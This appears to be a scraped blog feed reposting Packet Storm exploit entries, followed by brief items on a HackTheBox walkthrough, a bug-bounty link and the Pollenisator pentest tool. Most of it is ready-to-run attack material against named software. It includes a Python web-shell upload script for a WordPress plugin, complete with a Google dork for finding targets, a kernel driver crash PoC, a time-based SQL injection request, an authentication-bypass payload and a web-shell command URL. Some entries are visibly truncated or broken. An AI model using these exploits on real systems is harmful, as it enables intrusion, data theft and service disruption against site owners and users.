Exploit Collector
WordPress Fitness Calculators 1.9.5 Cross Site Request Forgery

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
WordPress Fitness Calculators plugin version 1.9.5 suffers from a cross site request forgery vulnerability.

MD5 | 30ca373f3886f6f98013bb82a0a42e7c

Download
# Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-24272

1. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers.
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

2. Proof of Concept:

Source:packetstormsecurity.com

Exploit Collector
Backdrop CMS 1.20.0 Cross Site Request Forgery / Command Execution

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Backdrop CMS version 1.20.0 suffers from cross site request forgery vulnerabilities that can assist an attacker in achieving command execution.

MD5 | 2e44ed7c8aa4c0431592175c5c6161c9

Download
# Exploit Title: Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Request Forgery (CSRF)
# Exploit Author: V1n1v131r4
# Date: 2021-09-22
# Vendor Homepage: https://backdropcms.org/
# Software Link: https://github.com/backdrop/backdrop/releases/download/1.20.0/backdrop.zip
# Version: 1.20.0
# Tested On: Kali Linux, Ubuntu 20.04
# Description: Backdrop CMS suffers from an Cross-site Request Forgery Vulnerability allowing Remote Attackers to add new user with Admin powers.
# Description: Backdrop CMS suffers from an Cross-site Request Forgery Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously add-on with crafted PHP file.
# Step 1
# Send this page below to the victim
Run on your browser: http://example.com/backdrop/modules/reference/shell.php?cmd=[command] to execute remote commands.

Source:packetstormsecurity.com

Exploit Collector
Redragon Gaming Mouse Denial Of Service

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Redragon Gaming Mouse suffers from a denial of service vulnerability.

MD5 | a001d0c25a8946620304491113760b3f

Download
# Exploit Title: Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial-Of-Service (PoC)
# Date: 27/08/2021
# Exploit Author: Quadron Research Lab
# Version: all version
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.redragonzone.com/pages/download
# Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/REDRAGON_MOUSE
import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "REDRAGON_MOUSE"

ioctl = 0x222414

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GLOBALROOT\\Device\REDRAGON_MOUSE", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
print ("Not Win! Sorry!")

else:
print ("OPENED!")

buf = '\x44' * 1000 + '\x00' * 1000
bufLength = 2000

kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)


Source:packetstormsecurity.com

Exploit Collector
WordPress 3DPrint Lite 1.9.1.4 Shell Upload

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
WordPress 3DPrint Lite plugin version 1.9.1.4 suffers from a remote shell upload vulnerability.

MD5 | df05024a490ce087dd2a9ea5257bf09c

Download
# Exploit Title: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/3dprint-lite/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/3dprint-lite/
# Version: <=
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("3DPrint Lite <=
print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("jsonrpc" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);

base = sys.argv[1]
file_path = sys.argv[2]

ajax_action = 'p3dlite_handle_upload'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)

files = {'file' : open(file_path)}
print("Uploading Shell...");
response = requests.post(uri, files=files)
file_name = path.basename(file_path)
if(file_name in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + "wp-content/uploads/p3d/" + file_name);
else:
print("Shell Upload Failed")
sys.exit(1)

main();


Source:packetstormsecurity.com

Exploit Collector
Police Crime Record Management Project 1.0 SQL Injection

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Police Crime Record Management Project version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 799b2319f52c524aa996f903df4c7448

Download
# Exploit Title: Police Crime Record Management Project 1.0 - Time Based SQLi
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Tested on: Linux
# Version: 1.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.

The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'edit' GET parameter in 'http://127.0.0.1//ghpolice/admin/investigation.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.

# PoC request

GET /ghpolice/admin/investigation.php?edit=210728101'-IF(MID(user(),1,1)='r',SLEEP(2),0)--+- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c
Upgrade-Insecure-Requests: 1

Source:packetstormsecurity.com

Exploit Collector
Pharmacy Point Of Sale System 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Pharmacy Point of Sale System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 0c421cadb58ed3860edd48c36da90815

Download
# Exploit Title: Pharmacy Point of Sale System v1.0 - SQLi Authentication Bypass
# Date: 23.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip
# Version: 1.0
# Tested on: Kali Linux, Windows 10

# Pharmacy Point of Sale System v1.0 Login can be bypassed with a simple SQLi
POST /pharmacy/Actions.php?a=login HTTP/1.1
Host: 192.168.209.170
Content-Length: 38
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.209.170
Referer: http://192.168.209.170/pharmacy/login.php
Accept-Encoding: gzip, deflate
Accept-Language: de-CH,de-DE;q=0.9,de;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=c5mtnqpcavhfgsambtnh4uklag
Connection: close

username='OR+1%3D1+--+-&password=PWNED

Source:packetstormsecurity.com

Exploit Collector
WordPress Advanced Order Export For WooCommerce 3.1.7 Cross Site Scripting

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
WordPress Advanced Order Export For WooCommerce plugin version 3.1.7 suffers from a cross site scripting vulnerability.

MD5 | cda16c38c590a26e4758142316be12a5

Download
# Exploit Title: WordPress Plugin Advanced Order Export For WooCommerce 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 15/2/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woo-order-export-lite/
# Version: 3.1.7
# Tested on: Windows 10
# CVE: CVE-2021-24169

1. Description:
This plugin helps you to easily export WooCommerce order data. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/admin.php?page=wc-order-export&tab=

Source:packetstormsecurity.com

Hacking Articles
Scriptkiddie HackTheBox Walkthrough

Script Kiddie is a CTF hosted on Hack the Box with Beginner categories. The objective for the participant is to identify the files user.txt and root.txt on the victim’s system. Penetration Methodlogies Recon Nmap Enumeration Exploit Generating apk Netcat Reverse Connection Post Enumeration Capture User.txt Abusing writeable script Privilege Escalation

The post Scriptkiddie HackTheBox Walkthrough appeared first on Hacking Articles.

Bug-Bounty | FASTMAIL [pobox.com : account takeover]

Hi everyoneContinue reading on Medium »
Read more...

Kali Linux Tutorials
Pollenisator : Collaborative Pentest Tool With Highly Customizable Tools

Pollenisator is a tool aiming to assist pentesters and auditor automating the use of some tools/scripts and keep track of them.

* Written in python 3
* Provides a modelisation of “pentest objects” : Scope, Hosts, Ports, Commands, Tools etc.
* Tools/scripts are separated into 4 categories : wave, Network/domain, IP, Port
* Objects are stored in a NoSQL DB (Mongo)
* Keep links between them to allow queries
* Objects can be created through parsers / manual input
* Business logic can be implemented (auto vuln referencing, item triggers, etc.)
* Many tools/scripts launch conditions are availiable to avoid overloading the target or the scanner.
* A GUI based on tcl/tk

Documentation

Features

* Register your own tools
* Add command line options in your database.
* Create your own light plugin to parse your tool output.
* Use the objects Models to add, update or delete objects to the pentest inside plugins.
* Limit the number of parallel execution of noisy/heavy tools

* Define a recon/fingerprinting procedure with custom tools
* Choose a period to start and stop the tools
* Define your scope with domains and network IP ranges.
* Custom settings to include new hosts in the scope
* Keep results of all files generated through tools executions
* Start the given docker to implement numerous tools for LAN and Web pentest

* Collaborative pentest
* Split the work between your machines by starting one worker by computer you want to use.
* Tags ip or tools to show your team mates that you powned it.
* Take notes on every object to keep trace of your discoveries
* Follow tools status live
* Search in all your objects properties with the fitler bar.
* have a quick summary of all hosts and their open ports and check if some are powned.

* Reporting
* Create security defects on IPs and ports
* Make your plugins create defects directly so you don’t have to
* Generate a Word report of security defects found. You can use your own template with extra work.
* Generate a Powerpoint report of security defects found. You can use your own template with extra work.

* Shipped with preconfigured tools
* IP / port recon : Nmap (Quick nmaps followed by thorough scan)
* Domain enumeration : Knockpy, Sublist3r, dig reverse, crtsh
* Web : WhatWeb, Nikto, HeaderCollectors, http methods, Dirsearch
* LAN : Crackmapexec, eternalblue and bluekeep scan, smbmap, anonymous ftp, enum4linux
* Unknown ports : amap, nmap scripts
* Misc : ikescan, ssh_scan, openrelay, searchsploit
Setup Guide

This setup guide was originally redacted on ubuntu 16.04 /18.04 Lexic

* Worker : A worker is a docker / computer where all the tools you want to run are installed. Those worker will launch them on the target and send the resulting data to the server. The name ‘worker’ comes from the use of celery for this part.
* Server : The server is just a mongo database and a SFTP server. Datas are stored in the database and files are kept in the SFTP directory.
* Client : A client is an instance of pollenisator.py. It interacts with the server to launch tools and get data. Architecture Overview
https://1.bp.blogspot.com/-FsBRxo0qrxc/YT7CSpY4CxI/AAAAAAAAKzw/bCt2rv3Jt9Y9aXuMpKbf8aj1xWaGVXoSQCLcBGAsYHQ/s806/1.png
There can be 1 or + workers, 1 or + pollenisator client and 1 mongo back end The mongo database and sftp server can be setup with docker or manually installed on windows/linux (linux recommanded)

Worker(s) will run the commands in the queue. You can install the tools you want and do some configuration or use the docker file given.

Pollenisator client will check what command are ready to fire accordingly to a bunch of settings and present to everyone connected the results of the scans. Download

___________________________
@hacking_Attack
@Hacking_Video

Bug-Bounty | FASTMAIL [pobox.com : account takeover]
https://medium.com/@the.white.soul.0/bug-bounty-fastmail-pobox-com-account-takeover-e1e2fd190a2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video